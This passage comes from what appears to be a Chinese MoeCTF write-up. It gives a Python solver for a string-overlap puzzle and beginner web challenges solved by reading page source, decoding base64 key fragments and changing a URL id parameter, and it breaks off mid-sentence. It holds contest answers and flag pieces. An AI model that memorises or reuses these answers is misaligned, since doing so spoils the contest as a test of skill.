&lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&lt;span&gt; g &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; f)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; frags:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;False&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&lt;span&gt;(frags) &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; (frags[&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;], &lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;max_overlap&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;) -&amp;gt; &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;&quot;&quot;a 的后缀与 b 的前缀的最大重叠长度&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;limit &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;min&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(a), &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(b))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; ol &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(limit, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&lt;span&gt; a.&lt;/span&gt;&lt;span&gt;endswith&lt;/span&gt;&lt;span&gt;(b[:ol]):&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; ol&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;greedy_merge&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;pool&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; list[&lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;) -&amp;gt; &lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;&quot;&quot;&quot;贪心：每轮合并重叠最大的一对&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pool &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; pool[:]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;while&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&lt;span&gt;(pool) &lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;best_ol, bi, bj &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(pool)):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; j &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(pool)):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; j:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                        &lt;/span&gt;&lt;span&gt;continue&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ol &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;max_overlap&lt;/span&gt;&lt;span&gt;(pool[i], pool[j])&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;&lt;span&gt; ol &lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;span&gt; best_ol:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;best_ol, bi, bj &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; ol, i, j&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;merged &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; pool[bi] &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; pool[bj][best_ol:]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pool &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [merged] &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; [pool[k] &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; k &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(pool)) &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; k &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; (bi, bj)]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; pool[&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 2. 片段数量少时用暴力&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;#    片段数量多时用贪心&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;EXACT_THRESHOLD&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&lt;span&gt;(frags) &lt;/span&gt;&lt;span&gt;&amp;lt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;EXACT_THRESHOLD&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;# 枚举所有排列，找真正最短的公共超串&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;best: &lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; perm &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;permutations&lt;/span&gt;&lt;span&gt;(frags):&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;# 按排列顺序依次合并&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;cur &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; perm[&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; nxt &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; perm[&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;:]:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ol &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;max_overlap&lt;/span&gt;&lt;span&gt;(cur, nxt)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;cur &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; nxt[ol:]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; best &lt;/span&gt;&lt;span&gt;is&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&lt;span&gt;(cur) &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(best):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;best &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; cur&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;# 检查贪心结果是否与精确结果一致&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;73&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;greedy_result &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;greedy_merge&lt;/span&gt;&lt;span&gt;(frags)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;74&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;is_success &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (greedy_result &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; best)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;75&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; (best, is_success)     &lt;/span&gt;&lt;span&gt;# type: ignore[return-value]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;76&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
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&lt;section&gt;&lt;h2&gt;Web 安全与渗透测试&lt;a href=&quot;#web-安全与渗透测试&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;查分系统&lt;a href=&quot;#查分系统&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;下载静态的 &lt;code&gt;system.html&lt;/code&gt; 打开源代码，&lt;code&gt;Ctrl + F&lt;/code&gt; 查询 &lt;code&gt;moectf&lt;/code&gt; 即可得到 flag 。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;归途&lt;a href=&quot;#归途&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;先看控制台，我们发现了 &lt;code&gt;Key1-N2ghNUkkTQ==&lt;/code&gt; ，base64 解码后发现这是 &lt;code&gt;7h!5I$M&lt;/code&gt; ，推测是 flag 的一部分。继续审计源码，发现了一行注释：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;lt;!-- Key2-QDBtNG9k --&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;解码后为 &lt;code&gt;@0m4od&lt;/code&gt; ，而后又在网络请求中发现了 key3（注意这一步审计源码也可以得到）：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;async&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;function&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pollKey&lt;/span&gt;&lt;span&gt;() {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;try&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;res&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;await&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;fetch&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;/getKey?id=3&quot;&lt;/span&gt;&lt;span&gt;, { &lt;/span&gt;&lt;span&gt;cache&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;no-store&quot;&lt;/span&gt;&lt;span&gt; });&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;data&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;await&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;res&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;json&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;catch&lt;/span&gt;&lt;span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;error&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;document&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;getElementById&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;api-status&quot;&lt;/span&gt;&lt;span&gt;).&lt;/span&gt;&lt;span&gt;textContent&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Request failed&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;key&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Key3-M0szeUVuKw==&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;message&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;Do you know url params? Try to get Key4&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;这里的 &lt;code&gt;url params&lt;/code&gt; 指的是 url 后面所带的参数，其格式为 &lt;code&gt;?param1=value1&amp;amp;&amp;amp;param2=value2...&lt;/code&gt; ，省略号表示可以有多个类似结构的参数。观察这个 GET 方法，我们可以看到其传了一个 &lt;code&gt;id=3&lt;/code&gt; 从而得到了 key3 ，那么 key4 显然就是 &lt;code&gt;id=4&lt;/code&gt; 咯，尝试 GET 